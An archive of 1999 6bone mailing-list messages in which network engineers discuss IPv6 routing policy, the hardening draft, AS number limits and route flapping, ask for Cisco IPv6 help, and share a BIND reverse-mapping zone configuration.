References: <4D0A23B3F74DD111ACCD00805F31D810145155E7@RED-MSG-50> <199907200655.GAA26375@inner.net> <19990720213333.D62668@clear.co.nz> <ixdu2qzno71.fsf@squid.pdc.kth.se> <87btd6uc6w.fsf@jekyll.piermont.com> <ixdvhbdjufo.fsf@squid.pdc.kth.se>
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Magnus Ahltorp <map@stacken.kth.se> writes:
> > > Do you really think that there are only 80000 sites that want to be
> > > multi-homed?
> > 
> > Right now, there don't seem to be any real restrictions on the
> > practice in v4 land other than taste, and yet, we aren't overwhelmed
> > yet. I suspect that the desire will not expand faster than Moore's
> > Law. 
> 
> Does Moore's Law increase the number of available AS numbers also?

No, but we can deploy a new external gateway protocol with a 32 or 64
bit AS space far more easily than we can deploy a new version of
IP. I've seen external routing protocols come and go over the the
years...

Perry

From 6bone-owner  Thu Jul 22 17:49:43 1999
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Date: Thu, 22 Jul 1999 17:49:32 -0700
To: Jim Bound <bound@zk3.dec.com>
From: Bob Fink <fink@es.net>
Subject: Re: INPUT draft-ietf-ngtrans-harden-00.txt
Cc: 6bone@ISI.EDU
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Jim,

Thanks for your comments.

The draft is intended to replace the current RFC 2546 on 6bone routing
practice which is informational.

Bob

===
At 01:04 AM 7/22/99 -0400, Jim Bound wrote:
>Hi Bob,
>
>>If we agree in prinicpal on the draft, and each pTLA implements it in
>>general, with the goal of a production quality network, we will start to
>>identify (and force changes on) the unreliable pTLAs.
>
>I have spent the evening with the draft on hardening and have given this
>a lot of thought and just read Steve's mail to the IPng list.  I think
>we need to move forward with the draft, whatever that means, are we
>talking BCP or Informational?
>
>>I believe that a quality production backbone environment is what we are
>>after now, with most of the testing occurring at sites. 
>
>I agree and I can't believe anyone can live without sending non-Provider
>upstream advertisements for now as stated in the harden draft.  I think
>this is fine for now.
>
>>We have had little or no comment on Rob's Hardening draft to date, so I
>>would encourage everyone to read it, make comments and improvements to it
>>(to the list please).
>
>>	<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-harden-00.txt>
>
>I think its an excellent piece of work and document to read.  Very well
>structured and very clear on what the rules are so all the pTLAs and the
>pNLAs should be pretty clear on what filtering means.  If one does not
>know what lead and filltering means then they should not be implementing
>the draft most likely.  So it might be good up front to say the
>background a reader should have to read this draft, if customer X picks
>it up because they are reading all the IPv6 specs (and some do) they
>might want a hint that they should get their network operator folks to
>parse this spec if they are not of that discipline.
>
>Its intuitive to me being around IPv6 and the GSE meetings and
>discussions and I have a bias to favor |absolute| aggregation as I did
>in those discussions.  But it might be nice to add a paragraph on what
>that means as some of the intense discussion was willing to give up
>aggregation to solve a need rather quickly IMO.  
>
>My head jerked on not advertising link-local addresses in an IGP at first 
>because we need to survive renumbering in an IGP as we test that function.  
>But we do permit adv's of sitelocal addresses  and that will work too.  
>For the case where all the prefixes are really dead at a site and new
>ones were not provided during the renumbering phase fast enough through
>some SNAFU or something via administration at the border routers.  In
>that case sitelocal addresses will be very useful.
>
>I have not looked at the OSPFv6 stuff for awhile but it used to provide
>linklocal addresses to adjacent nodes.  So I am not sure this applies or
>still the case as OSPFv6 was not in the hardening draft.  But I will
>check eventually.
>
>I also think the authors did a good job of focusing on where this
>applies.
>
>My input is its fine and we should move on here.
>
>Good Job to you and the authors,
>/jim
>


From 6bone-owner  Thu Jul 22 20:14:44 1999
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	(envelope-from jabley)
Date: Fri, 23 Jul 1999 15:14:29 +1200
From: Joe Abley <jabley@clear.co.nz>
To: 6bone@ISI.EDU
Cc: Kerry Baker <k.baker@cantva.canterbury.ac.nz>
Subject: General cisco ipv6 discussions
Message-ID: <19990723151422.B2626@clear.co.nz>
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Hi,

I'm still trying to track down this illusive Canterbury problem, and
I have some cisco specific questions.

Rather than pollute the 6bone list with such vendor-specific trivia,
could someone perhaps point me towards an appropriate cisco forum? Is
there a list somewhere where IOS ipv6 questions are on-topic?

Sorry about the noise,


Joe

From 6bone-owner  Thu Jul 22 23:03:05 1999
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 Hi all,

I want my clients using PPP to connect to our network that supports
IPV6.

If someone could let me know if  there is an access server software
(like tacacs or Radius ) supported IPV6, I'd  be very grateful. In
particular, could people could let me know whether I can get the
documents related this topic ?.

Thanks very much for your response.

Nguyen Thanh Le.


From 6bone-owner  Thu Jul 22 23:45:39 1999
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Date: Thu, 22 Jul 1999 23:36:26 -0700
To: Joe Abley <jabley@clear.co.nz>
From: Martin McNealis <mmcnealis@cisco.com>
Subject: Re: General cisco IPv6 discussions
Cc: 6bone@ISI.EDU, Kerry Baker <k.baker@cantva.canterbury.ac.nz>
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Hi Joe, 

Please direct your questions on Cisco IOS IPv6 support to myself
and "ipv6-support@cisco.com".

Cheers, 

-Martin-


At 03:14 PM 7/23/99 +1200, Joe Abley wrote:
>Hi,
>
>I'm still trying to track down this illusive Canterbury problem, and
>I have some cisco specific questions.
>
>Rather than pollute the 6bone list with such vendor-specific trivia,
>could someone perhaps point me towards an appropriate cisco forum? Is
>there a list somewhere where IOS ipv6 questions are on-topic?
>
>Sorry about the noise,
>
>
>Joe
> 

From 6bone-owner  Thu Jul 22 23:53:19 1999
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From: JACQUENET Christian CNET/DSE/CAE
	 <christian.jacquenet@cnet.francetelecom.fr>
To: "'Joe Abley'" <jabley@clear.co.nz>, 6bone@ISI.EDU
Cc: Kerry Baker <k.baker@cantva.canterbury.ac.nz>,
        "'ipv6-deployment@external.cisco.com'"
	 <ipv6-deployment@external.cisco.com>
Subject: RE: General cisco ipv6 discussions
Date: Fri, 23 Jul 1999 08:53:03 +0200
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Hi,

Let me suggest you try this list : ipv6-deployment@external.cisco.com

Best regards,

Christian.

      _________________    ________  ______  ______
   /_____________   /__ /_    _ / /     / /     /   Christian "I'm a ZZ Fan"
Jacquenet
      /_________/  /  /   /  /   /  /  / /  /__/    France Telecom CNET
DSE/SPI
               /  /  /___/__/___/_____/_/__/____   "I was born my papa's
son,
              /__/  /__________________________/_ 'til I hit the ground, I
was on the run."  
                /_______________________________/ - Just got paid.  

-----Message d'origine-----
De: Joe Abley [mailto:jabley@clear.co.nz]
Date: vendredi 23 juillet 1999 05:14
À: 6bone@ISI.EDU
Cc: Kerry Baker
Objet: General cisco ipv6 discussions


Hi,

I'm still trying to track down this illusive Canterbury problem, and
I have some cisco specific questions.

Rather than pollute the 6bone list with such vendor-specific trivia,
could someone perhaps point me towards an appropriate cisco forum? Is
there a list somewhere where IOS ipv6 questions are on-topic?

Sorry about the noise,


Joe

From 6bone-owner  Fri Jul 23 01:03:39 1999
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Date: Fri, 23 Jul 1999 20:03:29 +1200
From: Joe Abley <jabley@clear.co.nz>
To: 6bone@ISI.EDU
Cc: Kerry Baker <k.baker@cantva.canterbury.ac.nz>
Subject: Re: Could someone give me a hand with this?
Message-ID: <19990723200329.F44637@clear.co.nz>
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On Thu, Jul 22, 1999 at 12:56:35PM +1200, Joe Abley wrote:
> I have just been working with Canterbury University here in NZ trying
> to get them connected to the 6bone -- everything is looking good between
> us and them, but they seem to be having problems getting traffic from
> the rest of the network routed back to them.

Thanks very much to everybody for their assistance in this.

The problem turned out to be that I hadn't entered "ipv6 unicast-routing"
on my router, which is evidently a mistake on an ipv6 unicast router ;)

How embarassing. Never mind.


Joe

From 6bone-owner  Fri Jul 23 03:33:22 1999
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To: peter@jazz-1.trumpet.com.au
Cc: rrockell@sprint.net, fink@es.net, 6bone@ISI.EDU
Subject: Re: Bad routes update
In-Reply-To: <Pine.BSF.3.96.990722150914.28466H-100000@jazz-1.trumpet.com.au>
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	<Pine.BSF.3.96.990722150914.28466H-100000@jazz-1.trumpet.com.au>
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>> > I don't think that most of the flapping on 6bone comes from
>> > interface up/down. And, pTLA routes are flapping, so we can not
>> > diminish them by aggregation.
>> 
>> My guess it's a result of having to use tunnels over Ipv4.  Some of the Ipv4
>> network is unstable IMHO, and this could be reflected into the 6bone.  I don't
>> think this is coincidental as I suspect that a significant body of users
>> deploying IPv6 are doing so because of their own perceived instability of IPv4
>> services.  We for one experience this

You mean that IPv4 networks even among pTLAs are unstable. There
was a case that an unstable IPv4 connection caused an excessive
BGP updates on 6bone.  If your connection is too unstable to keep
the BGP/TCP connection (for example, it closes by error every few
minutes), I'm afraid that it may affect 6bone backbone routing.

If you are not a pTLA, aggregation will eliminate flapping. If
you are a pTLA, have mesh connections with other pTLAs, and act
as a transit as requested, your unstable connection will affect
other 6bone people as well as you. Among pTLAs on 6bone, we have
mesh connections regardless of the IPv4 physical topology, so
IPv6 traffic even within US could travel through Japan, Europe,
or your country where pTLA exists.

Masaki

>> From: Peter Tattam <peter@jazz-1.trumpet.com.au>
>> Subject: Re: Bad routes update
>> Date: Thu, 22 Jul 1999 15:22:17 +1000 (EST)
>> Message-ID: <Pine.BSF.3.96.990722150914.28466H-100000@jazz-1.trumpet.com.au>
>>
>> On Wed, 21 Jul 1999, Masaki Hirabaru wrote:
>> 
>> > >> ->2) There are a lot of route flapping even within the valid pTLA
>> > >> ->space.  A long time ago, I tried to figure out the origins, but I
>> > >> ->gave up to continue it for all the occasions. It keeps happening.
>> > >> 
>> > >> If we aggregate, I think we will see this diminish. many routes that flap
>> > >> come from statics that point to interfaces that go down, etc... If we
>> > >> aggregate, we won't see the affects of these, except in the case of yoru
>> > >> IBGP, where you will want your own specifics.
>> > 
>> > I don't think that most of the flapping on 6bone comes from
>> > interface up/down. And, pTLA routes are flapping, so we can not
>> > diminish them by aggregation.
>> 
>> My guess it's a result of having to use tunnels over Ipv4.  Some of the Ipv4
>> network is unstable IMHO, and this could be reflected into the 6bone.  I don't
>> think this is coincidental as I suspect that a significant body of users
>> deploying IPv6 are doing so because of their own perceived instability of IPv4
>> services.  We for one experience this - our backbone provider won't give us an
>> honest answer as to what the problem is, and is indicative of the way things
>> really are.  For some regions, choice of backbone provider is limited too, so
>> letting the market decide is not a complete answer.
>> 
>> Peter
>> 
>> > 
>> > >> ->3) There are a couple of strange routes outside the 6bone pTLA
>> > >> ->space drafting over the 6bone. We could get it covered by
>> > >> ->imposing the routing policy rather than solving the real problem.
>> > >> 
>> > >> Filter them. That way, they will be gone. If you look closely enough, you
>> > >> can see 10/8 v4 space around. You just have to filter it at your edges to
>> > >> make sure it doesn't affect anyone. While I would personally like for these
>> > >> people to fix the problem, in this case, you can only control your own
>> > >> routing domain, thus going around them with a filter would be just as
>> > >> handy, and effectively the same thing.
>> > 
>> > Let me explain how they are strange. They have a strange as path
>> > and are flapping. It would indicate something wrong on 6bone.
>> > 
>> > If the routing policy intends to solve the current 6bone routing
>> > issues, it would not work.  It will just decrease the size of
>> > routing table but may introduce another complexity that may make
>> > it harder to catch the real problems.
>> > 
>> > Masaki
>> > 
>> 
>> --
>> Peter R. Tattam                            peter@trumpet.com
>> Managing Director,    Trumpet Software International Pty Ltd
>> Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210

From 6bone-owner  Fri Jul 23 03:38:54 1999
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To: fink@es.net, Robert Rockell <rrockell@sprint.net>
Cc: 6bone@ISI.EDU
Subject: Re: Bad routes update
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>> So to the first order what Rob has proposed (and presented to the list and
>> in Oslo) are good engineering procedures to make a useful 6bone backone for
>> reliable operation.

My comments on draft-ietf-ngtrans-harden-00.txt:

  < 3.9 Inter-site links

  < Global IPv6 addresses must be used for the end points of
  < inter-site links.  In particular, IPv4 compatible addresses
  < MUST NOT be used for tunnels.

  < Prefixes for inter-site links MUST NOT be injected in the
  < global routing tables.

1) I don't understand why this has to be mentioned. There may be
a inter-site link without global addresses. I think that this is
a matter local to the peers, and we don't have to limit possible
solutions.

2) This document focuses on prefixes so I'm not sure this should
be included: a pTLA should use the RFC version of BGP4+ (RFC??).

  < 4. Routing Policies

>> Secondarily, we have a role related to the IPv6 development and standards
>> community to provide a viable testbed (proving ground) for ideas related to
>> future backbone operation. Having a coordinated effort to support this is
>> very important.
>> 
>> Everyone has recognized the problem with multi-homing in v6 for quite a
>> while, especially those folk participating in the IPng WG for the last few
>> years. I would generally characterize their view about the multi-homing
>> problem as it being a very hard problem, yet necessary to tackle or we will
>> have every /48 v6 prefix propagated in everyone's routing table.
>> 
>> So what to do. First and foremost, the IPng community is now focusing on
>> the multi-homing problem. There was a small team that decided to tackle it
>> between Minneapolis and Oslo, offline to the WG, who then reported on their
>> efforts to the IPng WG last week in Oslo. It is now viewed by the IPng WG
>> as the highest priority work going on and there will be a multi-day IPng
>> interim meeting on it before the Washington IETF meeting. Stay tuned to the
>> ipng list for reports and info on all this.
>> 
>> So, we need a 6bone that helps with this effort in the best way possible. I
>> believe that this means we agree to operate the 6bone backbone with rules
>> that are consistent with the current agreed IPng WG procedures as opposed
>> to just polluting our routing tables with everyones' routes.
>> 
>> Certainly one model for the 6bone (often suggested, I believe) is one of
>> real world operation (and competition) determining how it will work. I can
>> see that model possibly working in a real thriving fee for service
>> competitive IPv6 ISP world but we aren't even close to that point yet.
>> Also, we are less clear on many solutions to our problems yet, which is why
>> IPng work is underway on multihoming. So we need some discipline and method
>> to what we will try to do on the 6bone backbone.
>> 
>> 
>> Thus I propose that we, for now, implement Rob's proposed hardening rules
>> and don't try solve the multihoming issue by ad hoc methods for now. Then
>> we review the current ideas and proposals coming out of the IPng WG on this
>> over the next several months and entertain proposals for modifications to
>> our operating policies as necessary to try out new multihoming techniques
>> on the larger scale 6bone backbone. I definitely believe that to just allow
>> all routes to be accepted will lead to problems and certainly not to any
>> good long term solutions.

3) About multi-homing. As you mentioned the current agreed IPng
WG procedures, is limiting to /24 and /28 a requirement that
comes from IPng WG? Or, is it expressing that 6bone doesn't
accept any other solutions which may require even a little bit
relaxed rules?

I personally agree to pursue solutions that conform to this
routing policy, but I think that the discussion/deployment is
still on-going in IPng WG. I'd like to clarify the position of
6bone.

Thanks,
Masaki

From 6bone-owner  Fri Jul 23 10:59:53 1999
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To: perry@piermont.com
cc: 6bone@ISI.EDU
Subject: Re: Bad routes update 
In-reply-to: Your message of "22 Jul 1999 09:43:41 EDT."
             <87n1wo6bqq.fsf@jekyll.piermont.com> 
X-Copyright: Copyright 1999, Craig Metz, All Rights Reserved.
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In message <87n1wo6bqq.fsf@jekyll.piermont.com>, you write:
>No, but we can deploy a new external gateway protocol with a 32 or 64
>bit AS space far more easily than we can deploy a new version of
>IP. I've seen external routing protocols come and go over the the
>years...

  Perhaps one of the real routing geeks can comment better than I can on this
issue, but I have been told by several routing geeks who know what they're
talking about that the world is currently fairly locked into BGP4; any new
protocols or even major changes to BGP4 run into big deployment problems. So
IMO more likely that more aggressive ASN space management would come before
the number space problem gets fixed.

									-Craig

From 6bone-owner  Fri Jul 23 11:09:28 1999
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To: Craig Metz <cmetz@inner.net>
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Subject: Re: Bad routes update
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From: "Perry E. Metzger" <perry@piermont.com>
Date: 23 Jul 1999 14:09:10 -0400
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Craig Metz <cmetz@inner.net> writes:
> In message <87n1wo6bqq.fsf@jekyll.piermont.com>, you write:
> >No, but we can deploy a new external gateway protocol with a 32 or 64
> >bit AS space far more easily than we can deploy a new version of
> >IP. I've seen external routing protocols come and go over the the
> >years...
> 
>   Perhaps one of the real routing geeks can comment better than I can on this
> issue, but I have been told by several routing geeks who know what they're
> talking about that the world is currently fairly locked into BGP4; any new
> protocols or even major changes to BGP4 run into big deployment problems. So
> IMO more likely that more aggressive ASN space management would come before
> the number space problem gets fixed.

Although I can't possibly imagine a world where we'll need four
billion ASes, I can easily imagine one where we need two hundred
thousand, which certainly exceeds 16 bits.

Perhaps, given that IPv6 is not yet widely deployed, this would be the 
time to expand the width of that field, if only in an IPv6 context, so 
that we won't have to worry in five or ten years.

Perry

From 6bone-owner  Fri Jul 23 11:13:42 1999
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To: perry@piermont.com
cc: 6bone@ISI.EDU
Subject: Re: Bad routes update 
In-reply-to: Your message of "23 Jul 1999 14:09:10 EDT."
             <87d7xj9r21.fsf@jekyll.piermont.com> 
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In message <87d7xj9r21.fsf@jekyll.piermont.com>, you write:
>Although I can't possibly imagine a world where we'll need four
>billion ASes, I can easily imagine one where we need two hundred
>thousand, which certainly exceeds 16 bits.

  Remember that an AS more or less represents an independent inter-domain
routing policy. I suspect that there are other complexity reasons why more than
15k independent inter-domain routing policies would be a Bad Thing, making the
number space not as much of a problem.

  I'm no BGP expert. Hopefully, someone who is will step up and clarify.

								      -Craig


From 6bone-owner  Fri Jul 23 11:20:56 1999
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From: "Perry E. Metzger" <perry@piermont.com>
Date: 23 Jul 1999 14:20:48 -0400
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Craig Metz <cmetz@inner.net> writes:
> In message <87d7xj9r21.fsf@jekyll.piermont.com>, you write:
> >Although I can't possibly imagine a world where we'll need four
> >billion ASes, I can easily imagine one where we need two hundred
> >thousand, which certainly exceeds 16 bits.
> 
>   Remember that an AS more or less represents an independent inter-domain
> routing policy. I suspect that there are other complexity reasons why more than
> 15k independent inter-domain routing policies would be a Bad Thing, making the
> number space not as much of a problem.
> 
>   I'm no BGP expert. Hopefully, someone who is will step up and clarify.

I think that we're thinking way too small. I'm sure that number would
be bad NOW, but will it be bad in fifteen years, when lightbulbs will
have more compute power than high end PCs do now?

Best not to limit the future overmuch.

Perry

From 6bone-owner  Fri Jul 23 11:48:43 1999
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Subject: Re: Bad routes update
In-Reply-To: <199907231811.SAA01331@inner.net> from Craig Metz at "Jul 23, 99 02:13:27 pm"
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>   Remember that an AS more or less represents an independent inter-domain
> routing policy. I suspect that there are other complexity reasons why more 
> than 15k independent inter-domain routing policies would be a Bad Thing, 
> making the number space not as much of a problem.

	Who cares?

	I don't care about the other 14k ASNs...I do care about my own. 
What they do internally -does not matter- because it's outside the scope
of BGP...as far as I'm concerned they're just a number.  More numbers means
more state information to keep track of, but that's true of the growth of
the net as a whole.

	--msa

From 6bone-owner  Sat Jul 24 00:29:12 1999
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To: masaki@merit.edu
Cc: 6bone@ISI.EDU, heermann@ISI.EDU, ipma-support@merit.edu
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Subject: Re: 07/01/99 6Bone Routing Report
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From: SUMIKAWA Munechika (=?ISO-2022-JP?B?GyRCM1FAbj0hNmEbKEI=?=) 
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Sorry for delay resoponse. I needed a week for investigation the
problem.

masaki> BTW, there are also similar flapping routes that look from WIDE
masaki> Project and contribute great increase of IPv6 traffic on 6bone.

masaki>   0000::/0 path 109 2500 2500 2500 2500 2500 (WIDE)
masaki>   1800::/4 path 109 2500 2500 2500 2500 2500 (WIDE)
masaki> 1.  (0000::/0) had 93371 BGP+ updates (18 unique aspaths)
masaki> 2.  (1800::/4) had 87912 BGP+ updates (16 unique aspaths)

I think It was occured by 'NLRI-Length attribute' probles with
CISCO(AS 109). CISCO have announced and received routes without
NLRI_length suddenly, so CISCO mis-recognizes our routes and announce
them to other pTLA. And frequently termination the BGP connection
cause route flapping.

Now I changed my router configuration, it seems that no curious routes
annouce to 6bone.

Thanks,

---
Munechika SUMIKAWA @ WIDE Project

From 6bone-owner  Sat Jul 24 07:47:26 1999
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>>No, but we can deploy a new external gateway protocol with a 32 or 64
>>bit AS space far more easily than we can deploy a new version of
>>IP. I've seen external routing protocols come and go over the the
>>years...

The AS number in BGP4+ is 16bits.

/jim

From 6bone-owner  Mon Jul 26 03:41:05 1999
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From: Philipp Buehler <6bone@fips.de>
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Hi

subscribed yesterday to this list, and .. nothing? Seems to be
pretty low traffic.
Anyway, whish to connect to 6bone after some more testing with
cisco and linux. I live in Cologne, Germany.. possible the main-
tainer of uni-koeln is reading this also? Would be a join 
there possible for a private person?
(Back to some more reading on 6bone.ner ;-) )

ciao
-- 
Philipp Buehler, aka fIpS | BOfH | NUCH | double-p on IRC
VAX/OpenVMS: 24/365 No compromise computing.
"...submit yourself to new rules -
get used to a set of new tools - Vortex"   --Krupps, 1997

From 6bone-owner  Tue Jul 27 19:40:52 1999
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I need to get off this list.  Can somebody please tell me what to do?

Thanks

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From 6bone-owner  Wed Jul 28 01:53:14 1999
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On Sat, 31 Jul 1999, Bruce Ballaban wrote:

beam> I need to get off this list.  Can somebody please tell me what to do?

--

Welcome to the 6bone mailing list!

If you ever want to remove yourself from this mailing list,
send the following command in email to
"6bone-request@zephyr.isi.edu":

    unsubscribe

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From 6bone-owner  Wed Jul 28 02:34:58 1999
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Dear members:

If you are still running http servers for IPv6,
please send me the URL address.

Sincerely,

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Wed Jul 28 08:59:53 1999
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>From bmanning@ISI.EDU Wed Jul 28 05:51:15 1999
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>From 6bone-owner@ISI.EDU  Wed Jul 28 05:51:10 1999
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From: phantom <phantom@tconl.com>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Transmission of IPv6 Packets over Wireless Medium Call Sign WLW-992
Date: Wed, 28 Jul 1999 07:56:54 -0500
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Hello Sir


I would like your assistance in a Test TLA  Assignment for our Broadcast 
Station WLW-992 This is Private radio spectrum allocated by the FCC. The 
station is in Omaha, NE. I have been running various datagram tests over 
the last 9 months on this station. The application is (laptop mobile) and 
fixed transceiver facilities(i.e. ISP's) I am reviewing what all will be 
involved in refitting this broadcast facility for IPv6. I have been 
studying the 6bone site which I might add is quit helpful.

I would like to connect this facility to the Chicago 6bone facility


Any assistance you would provide would be greatly appreciated


Best Regards

Ron

I can be reached by e-mail or phone (402)290-9000



-- 
"When in doubt, Twirl..."  -anon

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From: Emanuel Vecchio <evecchio@thomsys.com.ar>
To: "IP6 Crazy (Correo electrónico)" <6bone@ISI.EDU>
Subject: IOS with IPv6 enable.
Date: Thu, 29 Jul 1999 16:42:19 -0000
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hi dears

Can somebody please tell me where i can get the Cisco IOS with ipv6 enable?


Emanuel Vecchio
<evecchio@thomsys.com.ar>
Research & Development
Thomson-CSF Systems Argentina S.A.
Bulnes 2756 (1425) Buenos Aires
Tel.:(+54 11) 4801-8170 (L.Rot.)
Fax:(+54 11) 4801-8214



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Subject: Re: IOS with IPv6 enable. 
In-Reply-To: Message from Emanuel Vecchio <evecchio@thomsys.com.ar> 
   of "Thu, 29 Jul 1999 16:42:19 -0000." <01BED9E1.539AB770@EVECCHIO> 
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From: Ole Troan <ot@cisco.com>
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> Can somebody please tell me where i can get the Cisco IOS with ipv6 enable?

http://www.cisco.com/ipv6/

Ole



From 6bone-owner  Thu Jul 29 17:46:02 1999
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Subject: Re: IOS with IPv6 enable.
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Emanuel Vecchio wrote:
> 
> hi dears
> 
> Can somebody please tell me where i can get the Cisco IOS with ipv6 enable?
> 
> Emanuel Vecchio
> <evecchio@thomsys.com.ar>
> Research & Development
> Thomson-CSF Systems Argentina S.A.
> Bulnes 2756 (1425) Buenos Aires
> Tel.:(+54 11) 4801-8170 (L.Rot.)
> Fax:(+54 11) 4801-8214

Please refer to 
http://www.6bone.net/ipv6org/implementations.html
					Y.J. Chu
					ChungHwa Telecom. Co.

From 6bone-owner  Fri Jul 30 03:43:03 1999
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Date: Fri, 30 Jul 1999 12:42:51 +0200 (MET DST)
From: Xavier <xavier@euro.net>
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To: 6bone@ISI.EDU
Subject: mntnr object?
Message-ID: <Pine.GSO.4.10.9907301241410.27524-100000@caolila>
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FYI,

Does somebody help me on this problem?!

---
Date: Thu, 29 Jul 1999 01:10:48 -0600
From: 6BONE Database Management <auto-dbm-mgr@radb.ip.qwest.net>
To: Xavier <xavier@euro.net>
Subject: FAILURE: LONGACK

Part of your update FAILED

>   From:    Xavier <xavier@euro.net>
>   Subject: LONGACK
>   Date:    Thu, 29 Jul 1999 09:10:36 +0200 (MET DST)
>   Msg-Id:  <Pine.GSO.4.10.9907290905390.641-100000@caolila>

For help see <http://www.ripe.net/db/> or
include 'help' in the subject line of your message

Objects without errors have been processed.

New FAILED: [mntner] MNT-EURONET

mntner:       MNT-EURONET
descr:        Maintainer of EURONET-BE 6bone registry objects
admin-c:      XM1-RIPE
upd-to:       ip6-operator@ipv6.euronet.be
mnt-nfy:      ip6-operator@ipv6.euronet.be
auth:         NONE
mnt-by:       MNT-EURONET
changed:      xavier@ipv6.euronet.be 19990729
source:       6BONE
*ERROR*:      'mntner' objects cannot be created automatically
*ERROR*:      This object has been forwarded to
<auto-dbm-mgr@radb.ip.qwest.net>
*ERROR*:      for authorisation.
*ERROR*:      No further action from your part is required

--
Xavier Mertens,                 *  *     EuroNet Internet
Network Operation Center     *      *    a subsidiary of France Telecom
XM3-RIPE                   *


From 6bone-owner  Fri Jul 30 05:21:48 1999
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Date: Fri, 30 Jul 1999 14:21:38 +0200 (MET DST)
From: Xavier <xavier@euro.net>
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To: 6bone@ISI.EDU
Subject: Reverse mapping?
Message-ID: <Pine.GSO.4.10.9907301420570.27524-100000@caolila>
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Hi *,

Someone has good tips, urls about reverse mapping for IPv6 adresses?

X

--
Xavier Mertens,                 *  *     EuroNet Internet
Network Operation Center     *      *    a subsidiary of France Telecom
XM3-RIPE                   *


From 6bone-owner  Fri Jul 30 07:51:51 1999
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From: Keith Owens <kaos@ocs.com.au>
To: Xavier <xavier@euro.net>
cc: 6bone@ISI.EDU
Subject: Re: Reverse mapping? 
In-reply-to: Your message of "Fri, 30 Jul 1999 14:21:38 +0200."
             <Pine.GSO.4.10.9907301420570.27524-100000@caolila> 
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On Fri, 30 Jul 1999 14:21:38 +0200 (MET DST), 
Xavier <xavier@euro.net> wrote:
>Someone has good tips, urls about reverse mapping for IPv6 adresses?

Nothing difficult.  Get a version of BIND that understands IPv6
addresses, release 4 has security holes but any release 8 BIND
understands AAAA records.  My /etc/named.conf contains

zone "6.0.0.0.0.0.9.0.e.f.f.3.ip6.int" {
        type master;
        file "db.3ffe.0900.0006";
};


File db.3ffe.0900.0006 contains

;
; origin is 6.0.0.0.0.0.9.0.e.f.f.3.ip6.int
;

@               IN      SOA     firewall.ocs.com.au. admin.ocs.com.au. (
                                199809301       ; Serial
                                172800  ; Refresh after 2 days
                                3600    ; Retry after 1 hour
                                604800  ; Expire after 1 week
                                86400 ) ; Minimum TTL of 1 day
;
; Name server(s)
;
                IN      NS      firewall.ocs.com.au.
                IN      NS      mail.ocs.com.au.
;
; Host addresses
;
6.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0         IN      PTR     router-6.ocs.com.au.

db.ocs.com.au contains

;
; origin is ocs.com.au
;

@               IN      SOA     firewall.ocs.com.au. admin.ocs.com.au. (
                                199809301       ; Serial
                                172800  ; Refresh after 2 days
                                3600    ; Retry after 1 hour
                                604800  ; Expire after 1 week
                                86400 ) ; Minimum TTL of 1 day
;
; Name server(s)
;
                IN      NS      firewall.ocs.com.au.
                IN      NS      mail.ocs.com.au.
;
; Host addresses
;
router-6        IN      AAAA    3ffe:900:6::6

To help writing out those long reverse addresses, try
ftp://ftp.ocs.com.au/pub/ip6_int.gz.

ip6_int 3ffe:900:6::6/48 gives 6.0.0.0.0.0.9.0.e.f.f.3.ip6.int
ip6_int 3ffe:900:6::6/-48 gives what is left after removing the first
48 bits, 6.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0


From 6bone-owner  Fri Jul 30 08:36:08 1999
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Date: Fri, 30 Jul 1999 08:35:53 -0700
To: Xavier <xavier@euro.net>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: mntnr object?
In-Reply-To: <Pine.GSO.4.10.9907301241410.27524-100000@caolila>
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Xavier,

I have added your mntner object. See below:

<http://www.ip.qwest.net/~david/cgi-bin/whois?mnt-euronet>


It is still required that David Kessens or I make 6bone mntner entries, but
I hope to soon change this to allow everyone to make these entries themselves.


Bob


===
At 12:42 PM 7/30/99 +0200, Xavier wrote:
>FYI,
>
>Does somebody help me on this problem?!
>
>---
>Date: Thu, 29 Jul 1999 01:10:48 -0600
>From: 6BONE Database Management <auto-dbm-mgr@radb.ip.qwest.net>
>To: Xavier <xavier@euro.net>
>Subject: FAILURE: LONGACK
>
>Part of your update FAILED
>
>>   From:    Xavier <xavier@euro.net>
>>   Subject: LONGACK
>>   Date:    Thu, 29 Jul 1999 09:10:36 +0200 (MET DST)
>>   Msg-Id:  <Pine.GSO.4.10.9907290905390.641-100000@caolila>
>
>For help see <http://www.ripe.net/db/> or
>include 'help' in the subject line of your message
>
>Objects without errors have been processed.
>
>New FAILED: [mntner] MNT-EURONET
>
>mntner:       MNT-EURONET
>descr:        Maintainer of EURONET-BE 6bone registry objects
>admin-c:      XM1-RIPE
>upd-to:       ip6-operator@ipv6.euronet.be
>mnt-nfy:      ip6-operator@ipv6.euronet.be
>auth:         NONE
>mnt-by:       MNT-EURONET
>changed:      xavier@ipv6.euronet.be 19990729
>source:       6BONE
>*ERROR*:      'mntner' objects cannot be created automatically
>*ERROR*:      This object has been forwarded to
><auto-dbm-mgr@radb.ip.qwest.net>
>*ERROR*:      for authorisation.
>*ERROR*:      No further action from your part is required
>
>--
>Xavier Mertens,                 *  *     EuroNet Internet
>Network Operation Center     *      *    a subsidiary of France Telecom
>XM3-RIPE                   *


From 6bone-owner  Fri Jul 30 09:49:23 1999
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Date: Fri, 30 Jul 1999 12:49:15 -0400 (EDT)
From: Robert Rockell <rrockell@sprint.net>
X-Sender: rrockell@iscone
To: Masaki Hirabaru <masaki@merit.edu>
cc: 6bone@ISI.EDU
Subject: Re: Bad routes update
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SOrry for the latency on this.


->My comments on draft-ietf-ngtrans-harden-00.txt:
->
->  < 3.9 Inter-site links
->
->  < Global IPv6 addresses must be used for the end points of
->  < inter-site links.  In particular, IPv4 compatible addresses
->  < MUST NOT be used for tunnels.
->
->  < Prefixes for inter-site links MUST NOT be injected in the
->  < global routing tables.
->
->1) I don't understand why this has to be mentioned. There may be
->a inter-site link without global addresses. I think that this is
->a matter local to the peers, and we don't have to limit possible
->solutions.
->
->2) This document focuses on prefixes so I'm not sure this should
->be included: a pTLA should use the RFC version of BGP4+ (RFC??).
->


I will make sure to add the RFC number. As far as comment #1, I believe that
it is technically feasible to use non-standard IPv6 address for inter-site
links. I can agree that MUST NOT may need to be changed to SHOULD NOT here.
